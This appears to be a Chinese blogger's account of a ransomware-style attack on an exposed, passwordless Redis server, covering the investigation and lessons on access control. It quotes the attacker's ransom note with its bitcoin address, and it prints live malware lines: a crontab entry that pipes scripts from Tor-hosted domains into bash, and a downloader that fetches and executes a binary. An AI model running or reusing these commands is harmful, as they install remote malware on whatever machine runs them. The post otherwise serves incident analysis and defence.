又一次redis被刪庫跑路,索要0.6比特幣
還在和媳婦兒逛街,突然同事打來電話說redis庫被清空。
於是,媳婦兒說你真是烏鴉嘴,早上還說redis如何被提權的事情。
怎麼剛出來就碰上了?
會不會是你搞的?
於是無形中又背鍋了。
見×××姐如此著急,邊安慰,邊提醒讓同事查一下,是什麼時候發生的事情,受害面積有多大?
但是×××姐很鎮靜的說,不可以啊,我們ucloud雲商上的redis的機器,是禁止外網登入的,
所有外網的6379埠都被禁用了。
僅限本機登入,於是,我問你有加密碼嘛?×××姐說,便於程式研發效率,內網環境,自然就沒有加密碼。
於是,匆匆忙忙趕回去,登入上機器,通過uclod控制檯確認看了下。
我擦被那個蠢貨開啟了一臺機器的redis外網,而這臺機器,
××××××面除了一個監控排程的程式,是和其他機器完全隔離的,
沒有任何業務直接關聯的程式,除了redis,而且這臺機器也不能連線到其他機器的redis。
這臺機器沒有任何機密核心資料。
結果登陸上機器就出現了
Warning!
Your File and DataBase is downloaded and backed up on our secured servers. To recover your lost data : Send 0.6 BTC to our BitCoin Address and Contact us by eMail with your server IP Address and a Proof of Payment. Any eMail without your server IP Address and a Proof of Payment together will be ignored. We will drop the backup after 24 hours. You are welcome!
!
Mail: [email protected]
Bi
BitCoin:3JPaDCoRnQatEEDoY59KtgF38GZiL5Kiny
遇上此事,別慌張,顯然是沒有備份你資料的,給了錢也不會有資料。
倒也是有人給付款,詳細檢視下面阿里雲官方文章。
科普一下:
比特幣單價,寫此文時,價格是1BTC=44871.5元
正式走起....
習慣性的先crotab -l,看了下,因為怕其他命令被篡改。
54 * * * * (wget -qO- -U- U- https://ddgsdk6oou6znsdn.tor2web.io/i.sh||wg||wget -qO- -U- U- http://ddgsdk6oou6znsdn.tor2web.me/i.sh||wg||wget -qO- -U- U- https://ddgsdk6oou6znsdn.onion.pet/i.sh||wg||wget -qO- -U- U- https://ddgsdk6oou6znsdn.onion.ws/i.sh)|bas|bash 一看高明瞭,直接使用了暗網地址。
自己也嘗試用了洋蔥路由經過各種設定到了暗網去訪問,發現訪問不了。
於是google了一下可謂是怨聲載道。
宣告:需要在能訪問谷歌的前提下,點選以下連結。
看不懂英文點選這裡
原來坑不止這一個,於是想起以前的hadoop yarn的悲情故事。
檢視到了阿里雲先知社群的文章,如此熟悉又那麼陌生。
緊接著確認了機器受害的情況,發現是在週六3點左右,
誰TM這時候搞,具有混淆性,乃至懷疑到了是不是內鬼所為,登入機器一查。
被清redis庫的機器上所有2018年11月3號的日誌,last資訊,以及你能腦補到的,都被刪除了。
唯獨和唯一一臺被開啟外網redis埠機器不同的是:
"這些被清redis庫機器的root home data目錄下屬於的資料都在,也並沒有warning.txt."
毀壞程度可以檢視阿里雲官網指令碼(雖然我們任務計劃裡顯示的指令碼只能下載下面這麼一個)
內容如下:
exec &>/dev/null
if ! ps -p $(< /tmp/.X11-lock); then
x=/var/tmp/.x
wget -qU- http://malwregafeg2fdjn.tor2web.me/.$(uname -m) -O$x;chmod 777 $x;$x;rm -f $x
fi
但參考上面文件以及直接受損害的機器,明顯就是root,home,data目錄都被刪。
指令碼絲毫沒體現出備份到他們資料庫的意思。
看下人家10秒之內就可以抵擋,你垃圾Ucloud,並沒有動靜.
可謂是大廠和小廠的天壤之別。
來不及悲傷與埋怨,媳婦兒也明知道重要資料都是已轉移。
接下來的事情,就是確認其他redis機器,受害面。
以及彌補方法。
據同事說刪除了5臺機器的資料估計直接是flushdb all.
唯獨不一樣的是,被清庫的所有redis機器上面的檔案目錄都在,
而且也沒有任何可疑的程序,更沒有任務計劃。
如果是***遠端操作清除日誌,奈何非要選擇z只清除清庫當天的日記。以及清除當天登入訊息。甚至如此瞭解。讓人不得不防是不是內鬼行為?
在資料有挽回希望的同時,小媳婦兒心理由於沒有好好逛街,而超級不爽。
人漂亮,技術也好,人緣自然不差的她,甚是憋屈。
雖然每一個離職人的許可權都收回了,然而被一臺沒有在乎的機器,被不知名的人從中作梗,害人害己,顯然讓人為之懷疑這些搞破壞處心積慮的人之目的。
由於害怕被APT,查遍了所有機器,以及所有的祕鑰認證。
於是,筆者推薦用jumpserver一定要嚴格的把控好許可權,就算你刪了日誌又何妨,有本事你來刪除我的跳轉機日誌。
畢竟許可權大到好幾個人都有登入嫌疑。又不好定位。
出事了開發人員大多都只管我現在不能用了,至於發生了什麼,大抵誰都不會搭理。
而在這件事情中,自己的感覺是每一個思維模式從安全的角度出發。而媳婦兒作為大資料運維,是從運維的角度出發。
因此還是出現了分歧,比如她就會認為是內鬼所有,當然這個機率很大,他會從當下時間去分析,然而在安全方向有一個最可怕的,那就是APT。
我不急於一時搞你,我就埋藏在這裡,用上長時間去抓包,分析你業務,***你機器,畢竟敵人在暗處,你在明處。
如果是內鬼,又何必寫別人的比特幣地址。因此種種作案手法,還是充滿嫌疑。
能做的就是換跳板機,做好最小授權。最後我提議上蜜罐。
管理實際上最難的一件事,無論是管人還是技術,隨便一個冷區,容易忽視的冷區,都可能成為歹徒興風作浪的切入點。
而做一個技術人,術業有專攻,哪怕你再聰明,永遠做不到絕對的安全。
還記得初入職場,清華大學的CTO給在下的一句話,知道你自己肩上的擔子多重嗎?
我的回答是知道:因為我是有root許可權的人......